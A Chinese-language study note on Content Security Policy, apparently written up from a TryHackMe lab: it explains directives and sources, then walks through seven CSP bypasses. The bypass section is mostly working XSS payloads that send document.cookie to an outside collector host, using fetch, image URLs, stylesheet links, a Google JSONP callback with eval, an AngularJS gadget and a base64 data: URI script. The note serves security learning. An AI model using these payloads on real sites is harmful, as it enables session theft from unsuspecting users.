:::info
- 使用 : https://csp-evaluator.withgoogle.com/ 检查 CSP 策略
- 使用 Beeceptor 来接收消息
:::
介绍
CSP (内容安全策略) 是一种基于HTTP头信息的安全策略机制,可以有效地防止跨站脚本攻击(XSS)和其他类型的代码注入攻击,为网站提供更高的安全性。
HTTP CSP 允许网站管理员控制网站的资源加载情况,通过指定允许加载外部资源的白名单、限制内联脚本和禁止使用 eval() 等方式限制网站的脚本执行。通过帮助浏览器识别和阻止恶意内容的加载,HTTP CSP 提供了一种有效的方式来保护用户的隐私和安全。 HTTP CSP 支持多种类型的策略指令,包括default-src、script-src、style-src、img-src、font-src、connect-src等,可以快速配置并适用于不同的网站。它还支持 report-uri 指示器,让网站管理员可以记录浏览器报告的违规内容,从而进一步加强安全性。:::info
CSP 策略也可以包含在 页面的 HTML 源代码中,使用 <meta>
标记:
<meta http-equiv="Content-Security-Policy" content="script-src 'none'; object-src 'none';">
:::
当我们使用 XSS 漏洞时, CSP 策略可能会阻止我们的正常执行,所以我们需要阅读服务器的策略,查看是否存在缺陷
指令
CSP 提供了许多的指令详细查看:
default-src
: 默认值, 意思是当某个资源尝试加载并且没有为其进行指定时, 使用该策略script-src
: 指定可以加载和执行 JS 脚本的源connect-src
: 指定 JS 代码可以向哪些位置执行 AJAX 请求 (XMLHTTPRequest 和 fetch)style-src / img-src / font-src / media-src
: 指定可以从哪些位置加载 CSS 样式表 图像 字体 媒体文件frame-src / child-src
: 定义哪些位置可以利用 iframe 嵌入网页report-uri
: 特殊指令, 当浏览器检测到违反了 CSP 策略,它会将这些信息报告给指定的报告接收方。接收方可以是任何 HTTP 或 HTTPS URL,可以是站内或站外的 URL。以及被<font style="color:rgb(0, 0, 0);">report-to</font>
替代
来源
在指令之后,是一系列源列表,指定允许从哪些位置加载
*
: 通配符, 意味着可以从任何地方加载该特定指令的内容'none'
: 与*
相反, 完全不允许从任何地方加载指定类型的资源'self'
: 这个源允许你加载与网站相同的协议(http/https)、主机名(example.com)和端口(80/443)上的资源。例如,如果你正在访问一个网站,如https://example.com,并且它的CSP头设置为default-src 'self'
,你将无法从https://subdomain.example.com、http://example.com 或https://example.org,加载任何脚本、图像或样式表。'unsafe-inline'
: 用于允许在 HTML 和 JavaScript 中嵌入内联的代码。它告诉浏览器允许执行内联脚本代码,即使这些脚本代码没有经过 CSP 审核,但是这种做法极不安全,并且很容易受到代码注入攻击的影响。'unsafe-eval'
: 用于允许执行动态脚本,即 eval() 函数,这个做法非常危险,容易遭受到代码注入攻击的影响。<font style="color:rgb(0, 0, 0);">example.com</font>
: 此源将允许您从域 example.com 加载资源,但不能从其子域加载资源<font style="color:rgb(33, 37, 41);">*.example.com</font>
: 此源将允许您从 example.com 的所有子域加载资源,但不能从基域加载资源<font style="color:rgb(33, 37, 41);">data:</font>
控制数据来源的安全性,
Content-Security-Policy: default-src 'self'; img-src data:
在上述代码中,img-src data:表示只允许从data: URI中加载图片资源。这样做可以有效地防止XSS攻击和其他类型的安全漏洞。
还有一些特殊的来源,通常和上述来源进行配合使用
nonce-
: 如果资源具有匹配的 nonce 属性,则允许加载该资源。nonce 是为每个请求生成的随机字符串。它通常用于加载内联 JS 代码或 CSS 样式。它需要对每个请求都是唯一的,就好像 nonce 是可以预测的一样,它可以被绕过。例如,如果服务器发送以下标头:script-src 'unsafe-inline' 'nonce-GJYTxu'
,浏览器将只执行具有属性集的脚本,如下所示:<script nonce="GJYTxu">alert(1)</script>
sha256-
: 这只是一个通过 Base64 编码的 SHA256 散列,用作校验和以验证资源的内容是否与服务器允许的内容相匹配。目前,sha256、sha384和sha512符合 CSP 标准。这通常仅用于内联 JS 代码或 CSS 样式,但也可用于验证外部脚本和/或样式表。我们可以生成我们打算使用的内联脚本的 SHA256 哈希,方法是使用一种工具来生成它,例如report-uri.com上的工具,或者简单地在具有限制性 CSP 标头的网页上运行它,然后提取哈希从控制台错误。
例如,如果我们希望在我们的网站上内联运行以下 JS:alert(1337),我们需要计算 SHA256 哈希。我继续这样做,上面代码的哈希值是'sha256-EKy4VsCHbHLlljt6SkTuD/eXpDbYHR1miZSY8h2DjDc='
. 现在我们可以将其添加到我们的策略中,如下所示script-src 'sha256-EKy4VsCHbHLlljt6SkTuD/eXpDbYHR1miZSY8h2DjDc='
:添加后,内联脚本应正常运行
创建 CSP
:::info 推荐使用 Generate your Content Security Policy 该工具可以帮助我们快速生成所需的 CSP 策略
:::
当设置 script-src
指令以及来源时, 我们需要注意允许加载的内容,如果我们需要从 CDN 等外部来源加载脚本,我们需要确保脚本的完整 URL 或者脚本的SHA 哈希,而不仅仅时托管主机名,比如 jquery - Libraries - cdnjs 就包含一个 完整 URL 和 SHA256
内联 JS:
如果我们需要在网站中包含内联 JS 或者 CSS, 我们需要在服务器端设置随机数生成器或计算内联脚本的 SHA 哈希值, 然后包含在自己的策略中, 比如: 在使用基于 Express
的网站, 我们可以使用 npm 的 helmet-csp 模块.如果我们可以希望对脚本进行哈希处理,我们可以使用 CSP Hash Generator
如果在网站上提供 JSONP 端点, 我们需要采取额外的保护措施
绕过 CSP
我们可以使用 https://csp-evaluator.withgoogle.com/ 来帮助我们检测 CSP 配置中的错误
JSONP 端点
有些网站可能会提供 JSONP 端点,这些端点会在响应中调用 JavaScript 函数。如果可以更改这些回调函数,则可以使用它们绕过 CSP 并演示概念验证,例如显示警告框,甚至可能从客户端泄露敏感信息,例如 cookie 或身份验证令牌。许多流行的网站都提供 JSONP 端点,这通常可用于绕过使用其服务的网站上的安全策略。JSONBee 存储库列出了大量当前可用的 JSONP 端点,可用于绕过网站的安全策略。 ## 不安全的 CSP 配置 某些站点可能允许从不安全的来源加载资源,例如通过允许数据:URI 或使用“不安全内联”来源。例如,如果一个网站允许从 data: URI 加载脚本,您可以通过将有效负载移动到脚本的 src 属性来简单地绕过他们的策略,如下所示:<script src="data:application/javascript,alert(1)"></script>
## 渗透
要想获取敏感信息,我们需要连接到自己控制的服务器, 我们可以使用 Beeceptor 来接收信息
如果您正在利用的网站允许 AJAX 请求(通过 connect-src
)到任何地方,您可以像这样创建对服务器的提取请求:
javascript
<script>fetch(`http://example.com/${document.cookie}`)</script>
当脚本在受害者的机器上被触发时,您会看到他们的 cookie 出现在您的访问日志中,如下所示:
如果您发现 XSS 漏洞并绕过 CSP,但无法通过 XHR 请求或提取来泄露任何信息,则该 connect-src
策略可能会阻止您的请求。如果您正在利用的网站没有严格的指令设置(例如 image-src 和 media-src),这可以被绕过,这些指令可能被滥用来泄露信息。
例如,如果一个网站阻止了您所有的 XHR 请求,但允许从任何位置加载图像,您可以使用 JavaScript 滥用它来加载伪装成图像的特制 URL,如下所示:
<script>(new Image()).src = `https://example.com/${encodeURIComponent(document.cookie)}`</script>
利用
attack-1
访问网站查看 HTTP 信息:
本地开启 HTTP服务,构造语句
'unsafe-inline'
: 用于允许在 HTML 和 JavaScript 中嵌入内联的代码。它告诉浏览器允许执行内联脚本代码,即使这些脚本代码没有经过 CSP 审核,
发送即可
attack2
查看 HTTP 响应发现:
我们发现对于 script-src data:
这个地方存在问题.我们构建语句
root@ip-10-10-59-177:~# echo -n 'fetch(`https://tryhackme.free.beeceptor.com/${document.cookie}`)' | base64
ZmV0Y2goYGh0dHBzOi8vdHJ5aGFja21lLmZyZWUuYmVlY2VwdG9yLmNvbS8ke2RvY3VtZW50LmNv
b2tpZX1gKQ==
<script src="data:;base64,ZmV0Y2goYGh0dHBzOi8vdHJ5aGFja21lLmZyZWUuYmVlY2VwdG9yLmNvbS8ke2RvY3VtZW50LmNvb2tpZX1gKQ=="></script>
上传我们的 JS 内容我们就可以在日志中发现
attack-3
我们查看请求内容:
script-src
告知我们可以在目标端执行 JS 代码img-src
: 没有指定图片的位置
<script>(new Image()).src = `https://tryhackme.free.beeceptor.com/${encodeURIComponent(document.cookie)}`</script>
attack-4
我们查看请求内容:
script-src
: 可以执行 JS 代码style-src
设置自己
<link id="randomcspsmith" rel=stylesheet href="" /><script nonce="abcdef">document.getElementById('randomcspsmith').href="https://tryhackme.free.beeceptor.com/" + document.cookie;</script>
attack-5
限制为 google.com 域
<script src="//accounts.google.com/o/oauth2/revoke?callback=eval(document.location='https://tryhackme.free.beeceptor.com/'.concat(document.cookie))"></script>
attack-6
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.3/prototype.min.js" integrity="sha512-C4LuwXQtQOF1iTRy3zwClYLsLgFLlG8nCV5dCxDjPcWsyFelQXzi3efHRjptsOzbHwwnXC3ZU+sWUh1gmxaTBA==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script>
<div ng-app ng-csp>{{$on.curry.call().document.location='https://tryhackme.free.beeceptor.com/' + $on.curry.call().document.cookie}}</div>
attack-7
<script src="/'; new Audio('https://tryhackme.free.beeceptor.com/' + document.cookie); '"></script>